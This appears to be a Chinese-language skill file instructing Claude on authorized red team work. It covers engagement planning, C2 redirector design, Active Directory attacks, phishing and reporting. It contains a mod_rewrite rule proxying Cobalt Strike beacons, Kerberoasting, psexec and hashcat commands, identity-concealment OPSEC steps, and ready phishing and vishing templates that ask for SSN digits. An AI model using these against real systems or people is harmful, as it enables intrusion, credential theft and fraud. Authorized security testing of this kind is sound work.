Red Team Operations & Engagement Planning

红队行动与演练规划

目的

帮助 Claude 为获得授权的红队操作人员提供演练规划、C2 基础设施设计、攻击方法指导、横向移动策略、OPSEC 规划和全面报告方面的协助。每个工作流都需要确认已获得书面授权。

严重 — 授权门槛：红队协助需要在继续前明确确认已获得授权。Claude 会询问授权背景，未获得授权时不会协助制定正在进行的攻击计划。

授权情境：

• 已签署的工作说明书（SOW）或交战规则（ROE）
• 漏洞赏金计划（确认目标在范围内）
• 内部安全测试（确认已获得组织授权）
• CTF 竞赛（确认挑战平台和范围）
• 在自有／隔离的实验环境中进行研究

---

激活条件

用户提出以下请求时，将激活此技能：

• 规划红队演练或对手模拟
• 设计 C2 基础设施（重定向器、团队服务器、C2 配置文件）
• Active Directory 攻击路径（BloodHound、Kerberoasting、DCSync）
• 用于授权演练的横向移动技术
• 红队情境中的持久化机制
• 社会工程活动规划（已获授权）
• 红队报告和高管演示
• 桌面演练（TTX）设计
• 紫队协作
• 授权行动的 OPSEC 规划

---

前提条件

pip install pyyaml requests

授权行动所需工具：

• Cobalt Strike / Sliver / Havoc — C2 框架
• Metasploit — 漏洞利用框架
• BloodHound / SharpHound — AD 攻击路径分析
• Impacket — 网络协议工具
• CrackMapExec / NetExec — AD 枚举
• Responder — LLMNR/NBT-NS 投毒
• Mimikatz — 凭据访问（Windows）

---

授权验证

在进行任何行动规划前，Claude 会询问：

Red team assistance requires authorization confirmation:

1. What is the engagement type?
   □ External penetration test
   □ Internal network assessment
   □ Red team / adversary simulation
   □ Social engineering assessment
   □ Physical security assessment
   □ CTF competition

2. What is your authorization basis?
   □ Signed SOW / contract with target organization
   □ Internal role (IT/Security team testing own systems)
   □ Bug bounty — [program name]
   □ CTF — [platform and challenge name]

3. What is the defined scope?
   (IP ranges, domains, systems, excluded assets)

4. Who is the target organization's security point of contact?
   (For deconfliction — required for IR-level engagements)

Confirm before proceeding. Operational assistance without confirmed
authorization cannot be provided.

---

核心功能

1. 演练规划

用户要求规划红队演练时：

演练规划框架：

# Red Team Engagement Plan
**Client:** [Organization Name]
**Engagement Type:** [Full Red Team / CRTO / APT Simulation]
**Start Date:** [Date]
**End Date:** [Date]
**Rules of Engagement Version:** 1.0

## Objectives
- Primary: [e.g., Test detection and response capabilities against APT29 TTPs]
- Secondary: [e.g., Identify privilege escalation paths to Domain Admin]
- Out of Scope: [e.g., Production databases, payment systems, physical access]

## Threat Profile
**Simulating:** [APT29 / FIN7 / LockBit / Custom adversary profile]
**Initial Access Vector:** [Spearphishing / Supply chain / Watering hole]
**Primary Goal:** [Data exfiltration / Ransomware simulation / Domain takeover]

## Attack Kill Chain Phases
1. Reconnaissance → OSINT, subdomain enum (Skill 01)
2. Initial Access → Phishing / external vuln exploitation
3. Execution → PowerShell / LOLBins / custom implant
4. Persistence → Registry / service / scheduled task
5. Privilege Escalation → Local privesc → Domain Admin
6. Defense Evasion → Process injection / AMSI bypass
7. Credential Access → LSASS / Kerberoasting / DCSync
8. Lateral Movement → PSExec / WMI / RDP
9. Collection → Identify critical data
10. Exfiltration → Staged transfer to simulated C2

## Rules of Engagement
- Testing hours: [24x7 / Business hours only / Agreed windows]
- Destructive testing: [Prohibited / Limited / Authorized]
- DoS testing: [Prohibited]
- Social engineering: [Authorized / Prohibited / Phishing only]
- Physical access: [Prohibited / Badge cloning only]
- Deconfliction: Call [POC Name] at [Phone] if critical systems impacted

## Emergency Abort Procedure
If critical systems are impacted unexpectedly:
1. Immediately cease all operations
2. Call [POC] at [Phone] — available 24/7
3. Document what was done and when
4. Stand down until authorized to resume

演练规划脚本：

python scripts/engagement_planner.py --scope scope.json --output plan.md

2. C2 基础设施设计

用户询问授权行动的 C2 基础设施时：

多层 C2 架构：

[Team Server] ← (internal/VPN only) → [Redirector 1 (HTTPS)] ← → [Beacon]
                                    → [Redirector 2 (DNS)]   ← → [Beacon]
                                    → [Backup Redirector]

基础设施组件：

1. 团队服务器 — 绝不直接暴露在互联网；仅允许通过 VPN 访问
2. 重定向器 — 代理 C2 流量的云 VPS 实例（AWS/Azure/GCP）
3. C2 通道 — HTTPS（主要）、DNS（备用）、WebSocket（隐蔽）
4. 域名选择 — 有一定年限的域名，分类选择（商业／技术），使用有效证书

重定向器设置（Apache mod_rewrite）：

# Redirect only Cobalt Strike beacon traffic to team server
# Everything else → sends to legitimate domain (blend in)
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(Windows NT 6.1; WOW64\) AppleWebKit.*"
RewriteCond %{REQUEST_URI} "^/jquery-3\.3\.1\.min\.js$"
RewriteRule ^(.*)$ http://TEAMSERVER_IP/$1 [P,L]
RewriteRule ^(.*)$ https://microsoft.com/ [R=302,L]  # Decoy redirect

Malleable C2 配置文件注意事项：

• 模仿合法应用流量（CDN 请求、Office 更新等）
• 匹配目标环境中的真实 User-Agent 字符串
• 使用适当的 HTTP 标头（Host、Accept-Language 等）
• 设置 sleep/jitter，使流量与正常通信间隔相符

OPSEC 检查清单：

Infrastructure OPSEC:
[ ] Team server not directly accessible from internet
[ ] All redirectors provisioned from different providers than each other
[ ] Domain registered with privacy protection
[ ] Domain aged ≥30 days before operation
[ ] TLS certificate from legitimate CA (not self-signed)
[ ] Kill dates set on all implants
[ ] Logging enabled on team server for post-engagement review

Operational OPSEC:
[ ] VPN/Tor for infrastructure access (not home IP)
[ ] Separate browser profile for research vs. operation
[ ] No real name/email in domain registration
[ ] Payment via anonymous method where legally permitted
[ ] Implant config: sandbox detection, sleep with jitter
[ ] All C2 traffic encrypted and indistinguishable from HTTPS

3. Active Directory 攻击方法

用户询问授权演练的 AD 攻击路径时：

BloodHound 分析工作流：

# Collection (run on domain-joined host in scope)
# PowerShell-based (noisier but complete)
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp\

# C# executable (quieter)
SharpHound.exe -c All --outputdirectory C:\temp\

# Upload ZIP to BloodHound UI and analyze:
# Queries to run:
# - Find Shortest Paths to Domain Admins
# - Find Principals with DCSync Rights
# - Find Computers with Unsupported Operating Systems
# - Find AS-REP Roastable Users

主要 AD 攻击技术（已获授权）：

技术	ATT&CK ID	工具	描述
Kerberoasting	T1558.003	Rubeus, Impacket	请求 SPN 的 TGS → 离线破解
AS-REP Roasting	T1558.004	Rubeus, GetNPUsers.py	针对无需预身份验证的用户
Pass-the-Hash	T1550.002	Impacket, CrackMapExec	无需破解即可使用 NTLM 哈希
Pass-the-Ticket	T1550.003	Rubeus	使用 Kerberos 票据进行身份验证
Overpass-the-Hash	T1550.003	Rubeus	将 NTLM 哈希转换为 TGT
DCSync	T1003.006	Mimikatz, Impacket	复制域哈希
Golden Ticket	T1558.001	Mimikatz	使用 KRBTGT 哈希伪造 TGT
Silver Ticket	T1558.002	Mimikatz	为特定服务伪造 TGS

Kerberoasting（授权使用）：

# Using Impacket (Linux → Windows domain)
GetUserSPNs.py -dc-ip 192.168.1.10 domain.local/user:password -request

# Using Rubeus (on Windows, in scope)
Rubeus.exe kerberoast /outfile:hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

横向移动选项：

# PsExec style (via Impacket)
psexec.py domain.local/admin:[email protected]

# WMI execution
wmiexec.py domain.local/admin:[email protected]

# SMB with NetExec
nxc smb 192.168.1.0/24 -u admin -p 'password' --shares

# RDP (if authorized)
rdesktop -u admin -p password 192.168.1.20

4. 社会工程（授权演练）

当用户要求规划授权的社会工程演练时：

钓鱼演练框架：

1. 确认范围 — 获准测试哪些目标？哪些行为被禁止？
2. 设计借口 — 对这个组织来说，什么场景可信？
   • IT 帮助台密码重置
   • 财务：发票／付款确认
   • 人力资源：福利登记
   • 高管：董事会沟通
3. 基础设施搭建 — 钓鱼域名、邮件服务器、落地页
4. 落地页 — 凭据收集器或载荷投递
5. 跟踪 — 点击跟踪、凭据收集、载荷执行
6. 报告指标 — 点击率、凭据提交率、举报率

借口模板（用于授权演练）：

Subject: Action Required: IT Security Policy Update — Password Reset Required

From: IT Help Desk <helpdesk@[spoofed-or-lookalike-domain]>

Dear [Name],

As part of our ongoing security improvements, all employees must update their
passwords by [date]. Please click the link below to verify your identity and
reset your password:

[Phishing Link]

If you did not receive this email or have questions, contact the IT Help Desk
at x4444.

Regards,
IT Security Team
[Company Name]

---
[Include realistic footer with physical address, unsubscribe link for legitimacy]

语音钓鱼脚本模板：

Caller: "Hi, this is [Name] from IT Security. We've detected some unusual 
activity on your account. I need to verify your identity. Can I get your
employee ID and the last four digits of your SSN?..."

5. 红队报告

当用户要求创建红队报告时：

# Red Team Assessment Report
**CLIENT CONFIDENTIAL**

**Organization:** [Client Name]
**Assessment Type:** [Red Team / APT Simulation]
**Assessment Period:** [Date] to [Date]
**Report Date:** [Date]
**Report Classification:** Client Confidential

---

## Executive Summary
[2-3 paragraphs: what was tested, what was found at high level, 
key recommendations. Written for non-technical executives.]

**Overall Risk Rating:** [Critical / High / Medium / Low]

**Key Findings:**
1. Initial access achieved via [vector] within [timeframe]
2. Domain Admin achieved via [technique] after [timeframe]
3. Detection gap: [N] hours from initial access to detection
4. [N] objectives achieved out of [N] defined

---

## Attack Timeline
| Phase | Time | Action | Detection? |
|-------|------|--------|-----------|
| Recon | T+0h | OSINT gathering | No |
| Initial Access | T+4h | Phishing email clicked | No |
| C2 Established | T+4h | Beacon callback | No |
| Privilege Escalation | T+8h | Local admin via CVE-2024-XXXX | No |
| Domain Admin | T+12h | Kerberoasting → hash cracked | No |
| Simulated Exfiltration | T+16h | 10GB to simulated drop server | Yes (T+20h) |

---

## Findings by Category

### CRITICAL: [Finding Title]
**MITRE ATT&CK:** T1078 — Valid Accounts
**Detection:** Not detected by SOC
**Impact:** Full domain compromise achieved
**Evidence:** [Screenshot/log showing access]
**Recommendation:** Implement MFA for all privileged accounts

---

## Detection Analysis
- MTTD (Mean Time to Detect): 20 hours
- Detections triggered: 2 of 15 attack phases
- Detection gaps: [list what was NOT detected]

## Recommendations (Prioritized)
| # | Recommendation | Priority | Effort |
|---|---------------|----------|--------|
| 1 | MFA for all privileged accounts | Critical | Low |
| 2 | EDR policy: block PsExec from non-admin hosts | High | Medium |
| 3 | Enable PowerShell Script Block Logging | High | Low |

---

脚本参考

engagement_planner.py

python scripts/engagement_planner.py --scope scope.json --output plan.md

---

技能集成

条件	相邻技能
初始侦察阶段	→ 技能 01（侦察与 OSINT）
利用已确认的漏洞	← 技能 03（漏洞利用开发）
提供调查结果以改进防御	→ 技能 15（蓝队防御）
测试 SOC 检测能力	→ 技能 11（CSOC 自动化）

---

参考资料

• MITRE ATT&CK 框架
• Sliver C2 文档
• BloodHound 文档
• 红队现场手册（RTFM）
• PTES 技术指南
• Cobalt Strike 文档

---

v3.0 增强内容（2026 更新）

授权门槛仍然适用 — 在执行任何操作步骤前，必须具备签署的范围文件、RoE 和协同联系人。

当前进攻技术（用于授权的测试）：

• AD/ADCS 滥用 — 使用 BloodHound Community Edition 查找攻击路径；在范围许可时，利用 AD CS 提权（ESC1–ESC14 系列）以及 Kerberos 中继／强制认证（PetitPotam 风格）。
• EDR 规避 — 假设目标使用现代 EDR/XDR；规划内存执行，考虑 BYOVD，并采用关注调用栈和遥测数据的技术，同时始终为蓝队复盘提供检测产物。
• 身份与云红队测试 — 设备代码和同意钓鱼、令牌窃取／重放、OAuth 应用滥用，以及从本地环境横向转移到 Entra ID／云控制平面。
• C2 弹性 — 域名前置的替代方案、重定向器、可变配置文件，以及通过合法 SaaS 进行 C2；按照 OPSEC 计划轮换基础设施。
• 紫队成果 — 将每项行动映射到 ATT&CK，并配对相应的检测机会，使演练能够改进防御（移交给技能 12/15）。

**精确性规则：**维护攻击日志（时间戳、主机、技术、ATT&CK ID、预期遥测数据），供复盘和报告使用。